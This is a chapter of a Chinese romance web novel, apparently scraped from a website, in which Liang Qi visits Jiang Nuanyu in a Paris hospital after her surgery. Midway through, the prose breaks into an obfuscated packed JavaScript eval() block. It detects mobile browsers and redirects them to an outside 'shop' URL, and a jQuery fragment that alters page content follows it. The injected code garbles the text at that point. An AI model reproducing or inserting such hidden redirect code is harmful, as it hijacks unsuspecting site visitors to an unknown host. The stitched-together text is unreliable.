术后第三个晚上过去，一早，检查过后，姜暖瑜终于得到了一个好消息：她的肠道开始恢复蠕动，可以逐渐尝试进食了。


    护士给了她一小杯稀释过的苹果汁，看起来几乎透明如水，姜暖瑜喝着却觉得甜滋滋的。


    只可惜太少了，是两口就喝完的量。她把空杯递回给护士，嘴巴里还在回味那股清甜。


    午后，姜暖瑜躺在床上，闭着眼睛休息。


    在杂志社晕倒那下，她的头磕到了地上，有点脑震荡，手机看多了便觉得目眩恶心。好在这两天在医院，即使是白天，她偶尔也能迷迷糊糊睡着，时间便也没那么难捱。


    正眯着，听见病房门口隐约传来说话的声音。又有人来探病了，姜暖瑜想。


    旁边病床的患者是位比她年长些的女性，和姜暖瑜一样，也做了阑尾手术。不一样的是，手术后每一天，对方都有亲友前来探望。


    出于共事的情谊，姜暖瑜的小组同事已经在昨天下午一起来过。


    术后病容憔悴，姜暖瑜知道自己的样子看起来不太美妙，接受着大家的关心慰问，略显难为情。同事们倒也颇有分寸，并没有停留很久，留下早日康复的美好祝愿后便离开。


    除此之外，姜暖瑜在巴黎没有亲人，也没有朋友。


    对于这次来访的人，她虽在迷糊休息着，也并不觉得被打扰，但也没多少好奇就是了。她依旧闭着眼睛，打着盹儿。


    声音渐渐近了，似乎是护士在简述病情。


    “……术后也没有高热的情况。总的来说，她的恢复情况不错。”


    短暂沉默后，一个男声响起：“几天之后可以出院？”


    男人的声音成熟却不老成，沉稳而不低沉，姜暖瑜的耳朵捕捉到这声音，不自觉地认真听了起来。语调间，她竟然觉得异常熟悉。


    她撩开眼皮，护士白色的身影背对着她站着。


    “根据目前的情况，预计三到四天后可以出院。”护士说，“不过，还是得看医生对她身体状况的最终评估……”


    梁齐在护士对面，后者的话还没说完，察觉到姜暖瑜的目光，他稍稍偏头看了过来。见她的确是睁开了眼睛，他的注意力便全放了过去。


    他眼神难掩关切，却没立刻问出她好不好。


    护士也顺势回头，见姜暖瑜醒了，笑着说：“你醒了？你朋友来了。”


    姜暖瑜跟没听见似的，躺在那一动不动，除了眼皮时不时眨一下，整个人没一点反应。


    她只呆呆地看着梁齐，像是从来没见过这个人。


    独自经历了生病、手术，住院的这几天，偶尔夜里孤独的情绪上涌，她会想家、想爸妈，甚至想过他们来法国陪她几天的可能性。可她从没想过梁齐。


    她从没敢想过，梁齐会出现在这里，出现在她眼前。


    可是为什么，在她生理上最脆弱、心理上最需要爱和依赖时出现的人，偏偏是梁齐呢。她觉得荒谬和讽刺。


    明明他只是站在那里，还未曾说一句话，她用理智给二人之间划定的界限，便仿佛瞬间消失。


    护士问她：“你感觉怎么样？没有想呕吐的感觉，就可以再吃点东西了。”


    姜暖瑜仍然不回答，看着梁齐，忽然皱了下眉头，闭起眼睛不闻不问。


    护士有些摸不着头脑，看看梁齐。梁齐又瞧了姜暖瑜一眼，确认她此刻的反应不是因为身体不适，转头问护士：“她现在可以吃点什么？”


    “我可以给她拿一些燕麦粥。”护士说。许是见姜暖瑜似乎不太想起来的样子，又补了一句，“但她最好坐一会儿再吃，躺着吃更是不行的。”


    梁齐点点头：“谢谢。”


    姜暖瑜闭着眼，听见脚步声渐远，推测是护士去拿粥了。她很快又感觉到，梁齐似乎在朝她靠近。


    她心里预设着他会对她说什么，她要怎么回答，丝毫没意识到自己被子上的两只手，几根手指正来回绞缠着。


    她没等到梁齐的声音。手上传来的触感先于听觉，惊动了她。


    她睁开眼睛，梁齐的西装与医院的环境完全不相称，衣袖下，他的手指修长，指节俊秀，柔润的指腹正轻轻摩挲着她的手。


    覆在她手上的掌心干燥温暖，她似乎忘了躲开，又似乎完全没想过躲开，冰凉的皮肤汲取着他掌中的温度，她不安搅动的手指慢慢停了下来。


    梁齐看了会儿她半抬的眼皮，没要求她看他，只摸了摸她的发顶，说：“我猜你现在不会拒绝一碗燕麦粥，嗯？”


    姜暖瑜不知道该怎么面对他，一时没答话。后知后觉自己头发好几天没洗了，她更觉得狼狈而尴尬，胸脯起伏着，最终还是未发一言。


    不拒绝，在姜暖瑜这，大概率就是同意。


    梁齐看一眼床头的机关：“帮你把床头升起来？”


    姜暖瑜还是不说话。


    “好。”梁齐懂了她的默认，去操作按钮了。


    不知是否是他有意，这个过程，他握着她的那只手，一直都没放开。


    床头升起来，梁齐把枕头垫到姜暖瑜腰后，让她坐着也有支撑，自己去窗边拎起一把椅子，放到床边坐下。


    护士拿着一个小碗回来，支起床边的桌板，把粥放在了上面，笑道：“算上那杯苹果汁，这是今天的第二餐咯。”


    姜暖瑜冲她抿唇笑笑。


    所谓燕麦粥，也是稀释过的，更像是“燕麦汤”。勺子也很浅，她只能一小口一小口地抿。


    虽然不太可能吃饱，但唇齿间游走着燕麦的醇醇香气，姜暖瑜的味觉和嗅觉还是得到了极大的满足。


    然而，她的注意力却无法全然放在享受这碗粥上。


    她低头喝着粥，余光里，却都是梁齐。梁齐坐她床的一侧，似乎都没动。


    他没说话，但姜暖瑜能感觉到，他的视线一直落在她身上，好像她喝粥是件很值得他专注看着的事情。


    他不说，她也不问。他看他的，她喝她的。


    一碗粥都快见底了，梁齐终于开口，问她：“伤口还疼不疼？”


    就这一句话，姜暖瑜心尖儿仿佛被扯开了个口子，酸，也暖热。她抬勺子的动作在空中顿了一下，眼皮也不抬，摇了摇头，嘴巴抿住勺子。


    隔几秒了，梁齐说：“不疼就好。”


    姜暖瑜胸口又像是被拨了一道，持续颤着余波。


    她不懂，他这个“好”是好在哪里；如果“不好”，又是哪里不好。


    她像是探出触角的小动物，拼命感知、解读着他的表情、语气、每一个字背后的深层含义，失败后，无法确定他心意的她，终究是缩回了自己的壳子里。


    她沉默着喝完最后一口粥，把勺子放回碗里，手缓缓地缩回了桌板下面。


    梁齐稍起身，把椅子又拉近了些，姜暖瑜下意识看向他，脑袋刚转过去，他已经伸出手，用拇指点去了她下唇残留的一滴粥液。


    他的动作自然得很，姜暖瑜却被这突如其来的亲昵弄得慌了神，赶紧抿了抿嘴唇，又抬起手，打算拿袖子去擦。


    “没有了。”梁齐的语气中有一抹轻淡的笑意。


    他看着她羞窘地放下手，苍白的小脸上，也终于有了一点红晕。他看在眼里，嘴角挂着弧度，心里却没有撩拨成功后的愉悦。


    他将视线移向别处，看看床尾，看看病房的门，瞥见远端的另一张病床，他问她：“晚上休息得好吗，要不要换个单间？”


    姜暖瑜连忙摇头，梁齐说：“嫌折腾？”


    姜暖瑜抬眼看过来，梁齐抬起眉毛，等她下文。


    她眼神光波动着，仍是左右摆了下头。梁齐又问：“那是怕麻烦？怕麻烦我？”他说，“我不麻烦。”


    姜暖瑜不知道怎么说，她不是嫌折腾，也不是怕麻烦，只是去住单人间，更显得她是孤身一人。


    她低了脑袋，不说话，也不看他了。


    梁齐了然，点了点头不再坚持。过了会儿，他忽问：“医生有嘱咐不能讲话？”


    姜暖瑜讶异地抬头去看他，捕捉到他眼中一闪而过的笑意后，瞬间懂了，脸上便又是一热。


    可不是，从开始到现在，一直都是梁齐在说话，虽不至于理解为她完全当他不存在，她也着实是一个字都没说。


    这时，梁齐口袋里的手机忽然响了起来。他看着她，拿出来扫了眼屏幕，站起身：“我接个电话。”


    梁齐走到稍远处的窗边去接，姜暖瑜望着他直挺的后背，瞧见他手中的手机，她心里蓦地咯噔一下。


    她悄悄从枕头下捏出手机，调出通话记录，上面的内容显示，她的记忆并没有出现偏差。


    昨天夜里，各种因素导致她的情绪是有些失控，可她也确实没再做出无意识给梁齐打电话那样的蠢事。


    梁齐挂了电话转身回来，注意到她正把手机往枕头下塞的小动作，像是随口一提：“我刚好在安纳西的度假村。”


    姜暖瑜反应了几秒，渐渐明白了。


    昨天同事来探望时，莉诺提到，朱尔和团队下午要启程去安纳西，所以才没一起来医院。


    她无意瞥向他，对上眼神了，心想自己再不说话就真的太没礼貌了。


    想来想去，她说了句：“你……到安纳西出差吗？”


    太久没讲话，她嗓音沙沙的，有点哑，又不太自然，显得语气也是细细柔柔的。再加上她这句毫无意义的明知故问，梁齐一时没说出话来。顿了会儿，他好脾气地“嗯”了一声：“出差。”


    他的确是到安纳西出差。


    事实上，梁齐也是今早才到。刚到便听负责人说，有巴黎的杂志在度假村里拍摄。他随口问了句，没想到正是《Chaleur》。


    也不确定姜暖瑜一定在，梁齐只犹豫了几秒，便说要“顺道”去看看。然而他在现场没见到她的身影，倒是得知了她生病的消息。


    这些姜暖瑜并不知道，只是下意识地点点头回应：“噢。”


    气氛再度沉寂下来，隔壁病床的患者此时掀开被子下了床，拖着步子往门口走。


    和两人没什么关系的事，姜暖瑜和梁齐的两双眼睛却齐齐地瞅着人家，硬是给人目送出去。


    人走了，病房里少个人，变得更加安静。


    没人讲话，好一阵沉默。


    姜暖瑜觉得这沉默似乎得由她来补足，可就算像刚才那句没营养的话，她一时也挑不出来一句。


    她摸不准梁齐出现在医院的意义，猜不透他行为举止的动机和目的，这几天脑袋也昏沉，脑中一片混乱，根本整理不出来以二人目前的关系状态，她哪句该说、哪句想说、哪句能说。


    “你本来也要去安纳西？”终于是梁齐先开口。


    姜暖瑜懵懵的，也没多想就问：“你怎么……这么问？”


    梁齐说：“听你同事说有事儿想问你，只不过你手术住院了。”


    “哦……”姜暖瑜稍稍恍然。


    她并没有接到任何工作电话，大概是同事们碍于她生病，没有选择打扰。


    “我不用去的。”她解释道，“就是，选题最开始是我提的嘛，落地阶段，他们可能有些细节不确定吧。”


    创意和落地似乎向来是一体的，梁齐虽不太清楚这其中具体的流程，但也隐隐觉得哪里不对。


    他抬了下眉，问：“怎么说？”


    “嗯？”姜暖瑜没想到他会对这个好奇，抬起眼皮，“选题？”


    “嗯。”梁齐说，“你的选题，怎么不让你管？”


    他靠向椅子，西装扣子解着，两手随意交叠放在腹前，微微偏着头看她。


    姜暖瑜被他这样专注而沉静的眼神注视着，莫名觉得安心，仿佛不管她说什么、经历了怎样的事情，他都能将她的情绪和现状稳稳接住、容纳起来。


    于是，她又一次情不自禁地一吐为快。


    “专题落地……整个过程还是很考验人脉的。我来这边不久嘛，都要从零开始的，可能人家一封邮件、一个电话的事情，我需要沟通协调好几天，绕好几道关系才行。就，效率更低吧，所以……”


    尽管有意轻描淡写地去说了，那丝丝缕缕的愁绪和淡淡的委屈，仍旧弥漫在她说的每个字里。


    她自己也意识到了，及时收住，没把后半句话说完，只挺了下肩膀，故作轻松道：“也没什么的，慢慢来嘛，可能明年后年就会变好了。”


    梁齐没立刻接话，静静看她片刻后，才说：“别的地方不一定。但如果是瓦尔布朗什，或者云景的其他度假村，比起你同事，我跟你更熟。”


    姜暖瑜眨巴着眼，梁齐话都说到这份上了，她还是不太确定，他这么说是不是在暗示他可以在这方面提供便利。


    梁齐瞧她几秒，又说：“邮件没有，电话你可以打。”他顿了顿，顺嘴说了句，“半夜也可以。”


    前半句时候，姜暖瑜还想着怎么迂回客气一点回应他，“半夜”这两个字出来，她脸彻底红了，那客套话就没能说出来。


    他这人怎么这么记仇的……


    她小声：“那次，真的是不小心拨出去的。”


    梁齐似乎还挺意外她提这事，反应了一下，说：“我的意思是，我在国内的话，有时差。”


    姜暖瑜：“……”


    她幽幽看他一眼，虽然没有证据，但她就是知道他是故意的。她撇了撇眉毛，有点不高兴了的样子。


    梁齐瞧着她，没忍住，牵了下嘴角。


    关于提供度假村场地的事，他也点到为止，没再多说。他想帮她，但不想用单方面的方式，显得居高临下，像在施舍。


    这点儿困难和阻挠打不倒她，但以她那要强又较真儿的性格，真要是随随便便替她解决了问题，她以后能再也不跟他提工作上的事。


    他绕过这个话题，问她：“你平时怎么吃饭？”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572033|186533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    姜暖瑜一愣：“……我啊？”不知怎的，她心虚起来，迟疑着回答，“呃，餐厅。”


    “顿顿都是？”梁齐显然没全信她的话，又问，“你平均一天能吃一回正餐么？”


    姜暖瑜被说中，却不想让梁齐看穿她混乱的饮食，开始打马虎眼：“吃、吃的，吃的。……当然，忙一点的话，用快餐凑合的时候也有。”


    她说话时过分认真的表情，还有下意识的解释补充，就证明那话里有水分。梁齐听着，倒不说话了。


    姜暖瑜忙把话题转开，说起她公司附近的一家轻食外卖来。梁齐顺着话茬问了一句，她再回答，这一问一答的，姜暖瑜的话匣子也就此打开。


    梁齐和她待了好一会儿，陪她聊天，话题大多也都是和她相关。他听她说，也适时地说话给她听。


    梁齐讲话的时候，不管他在说什么，姜暖瑜都觉得，有梁齐在，这异国医院里的一切，好像都有了不一样的颜色。他身后，窗外洒进来的那片阳光，也要比平时更暖些。


    而那道用来克制自己不朝他靠近的边界，早不知被她甩到哪去了。


    “……我老板特别厉害，她要一边工作一边带三个孩子。她能力也特别强，能同时兼顾好几个专题的制作。”姜暖瑜眼中满是崇拜。


    “之前我跟着她去拍摄现场的时候，还见过她的小宝宝呢，很可爱的。”讲到这里，她的眼神又变得温柔。


    “他笑的时候会流口水，蹭得到处都是，然后就要扑到我身上来，我赶紧用纸巾给他擦，他又要躲，我就只能追着他擦，因为他还会跑回来蹭到我身上的。”


    梁齐眼中带笑，像是调侃地来了句：“你还得看孩子呢？”


    姜暖瑜抿唇，冲她一笑：“偶尔嘛，也会的。拍摄现场千变万化的，什么事情都可能发生，我不盯拍，就去感受现场，就什么都干一点。”


    梁齐缓了笑，点点头。她一时没再说话，他抬腕看了眼手表。


    姜暖瑜看到他这个动作，刚才还飞扬雀跃的快乐的心，一下子跌到了谷底。


    她装作没看到，把脸扭向了另一边。


    她下颌绷着，一缕头发落在脸侧，从梁齐的角度看过去，只能看到她漂亮的鼻尖和时不时眨一下的眼睫。


    隔了好一会儿，梁齐站起身，看一眼她倔强的侧脸，说：“我得走了。”


    姜暖瑜很想说一些诸如“嗯”、“好”、“再见”、“谢谢你来看我”的话，意识却无法支配语言，甚至连点点头都做不到。


    她忽然有点怨他，怨他为什么要来，来了又为什么要走。


    “我暂时不回国。”梁齐说，“明天要去意大利，但今天我得回安纳西一趟。”


    姜暖瑜的眼神微微一落，慢慢怔住。听梁齐的意思，他是在朱尔他们拍摄时得知她手术住院的消息，可朱尔团队昨天下午出发，晚上才能到，当晚又不可能立刻开展工作，最快也得等今天一早。


    而梁齐午后就来了。安纳西距离巴黎六百公里，他在一天内来回跨越半个法国，就只为来医院看她一眼吗。


    她一再和自己确认着这个事实，心被溢出的惊喜和爱意一点点填满，再膨胀着，一边被对他即将离开的不舍挤压着，酸楚的同时，这一刻，她竟然短暂地感觉到他给她的幸福。


    他总是在不经意间对她展露出他的在乎、他对她的情意，在她最绝望的时候给她他爱她希望，让她冲动，只想不顾一切地靠近他。


    “梁齐——”


    梁齐走过床尾时，姜暖瑜叫住了他。


    梁齐站定，转头看向她。姜暖瑜也不明白为什么要叫他，磕磕绊绊地说：“我、我送你。”


    梁齐看她两秒，无声笑了下：“不用，你好好待着。”


    “我没关系的。”姜暖瑜两手撑在床上，尽量坐得直直的，“医生也让我有精力就下地走走。我刚好……去走走。”


    她说得认真又煞有其事，眼神却不安地来回躲闪。也不等梁齐答应或是再次拒绝，她被子一掀，伸腿便要下床。


    梁齐担心她牵扯到伤口，忙往回迈了一步，手刚伸出来，她已经穿上拖鞋，扶着床站了起来。


    她立在原地，满眼不确定地巴巴看着他，像是怕他不愿意。


    梁齐闭了闭眼，点头：“好。”


    姜暖瑜松了口气，低头两步跟了上来。


    出了门，两人没往任何一个出口走，或者说，没特意往出口走。反正不像姜暖瑜说的那样，只是送送他而已。


    她走得不快，梁齐也慢慢走在她旁边。她沉默着，他也没说话。


    该说的，刚才在病房里已经说了够多，其余的，现在再说，也不能改变马上要分开的现状。


    不知是第几次路过姜暖瑜的病房，梁齐终于先站定，停在了门口。


    姜暖瑜比他多迈了一步，也随之停下。她揪着病号服的裤子，也不转身，就那么僵站着。


    梁齐垂眸看了一眼，走到她身侧，拿过她的手。她没拒绝，也不顺从，仍攥着拳头。


    梁齐将她的手换了个方向，手指一点点探入她紧握的拳，让她的手心摊开，和他的相对，然后握住了她。


    他拇指轻搓着她手背上细细干干的指节，说：“把自己照顾好。”


    姜暖瑜鼻腔霎时涌起一股酸意，别扭地别过脸，咬起唇控制呼吸。


    她不知道这算不算是牵手，甚至没敢回握他，却张开每一寸感官，感受着、贪恋着他掌心的温度。


    走廊里有护士和其他患者经过，路过皆探究地看二人一眼。


    梁齐朝走廊两侧扫一眼，又捏捏她的手，松开了给她放回腿边，说：“人你也送过了，进去吧。”


    姜暖瑜咬着牙关，不回应。尽管没有任何立场，她还是怨他的。


    他给她希望，再用现实告诉她，那只是希望而已。他的温柔，只停留在当下，是可以和他的抽离同时发生的。既然这样，那和残忍又有什么区别？


    姜暖瑜把拳头重新握紧，推门进了病房。


    她一个字也没说，直到门关上，也没回头看梁齐一眼。


    *


    把姜暖瑜送回去后，梁齐走到电梯厅。刚才还相对空闲的电梯，此刻却迟迟不到。他等了会儿，索性往另一侧安全通道的步梯走。


    再次经过姜暖瑜的病房，他一边联系司机，一边透过玻璃往里看了一眼。


    她背对着门，坐在病床一边。近看时，他只觉得她瘦得厉害，隔着一道玻璃，她的身板愈发显得单薄，在病号服里空荡荡的。


    耳边电话通了，梁齐正要讲话，却见姜暖瑜抬起手，似乎抹了抹脸。隔两秒，她又抹了一把。


    “梁先生？”


    听筒传来声音，梁齐回了神。交代完挂断后，他又将目光投向那道背影。


    她哭了。她为什么难过？他想，是因为他。


    可她连哭都不愿让他看到。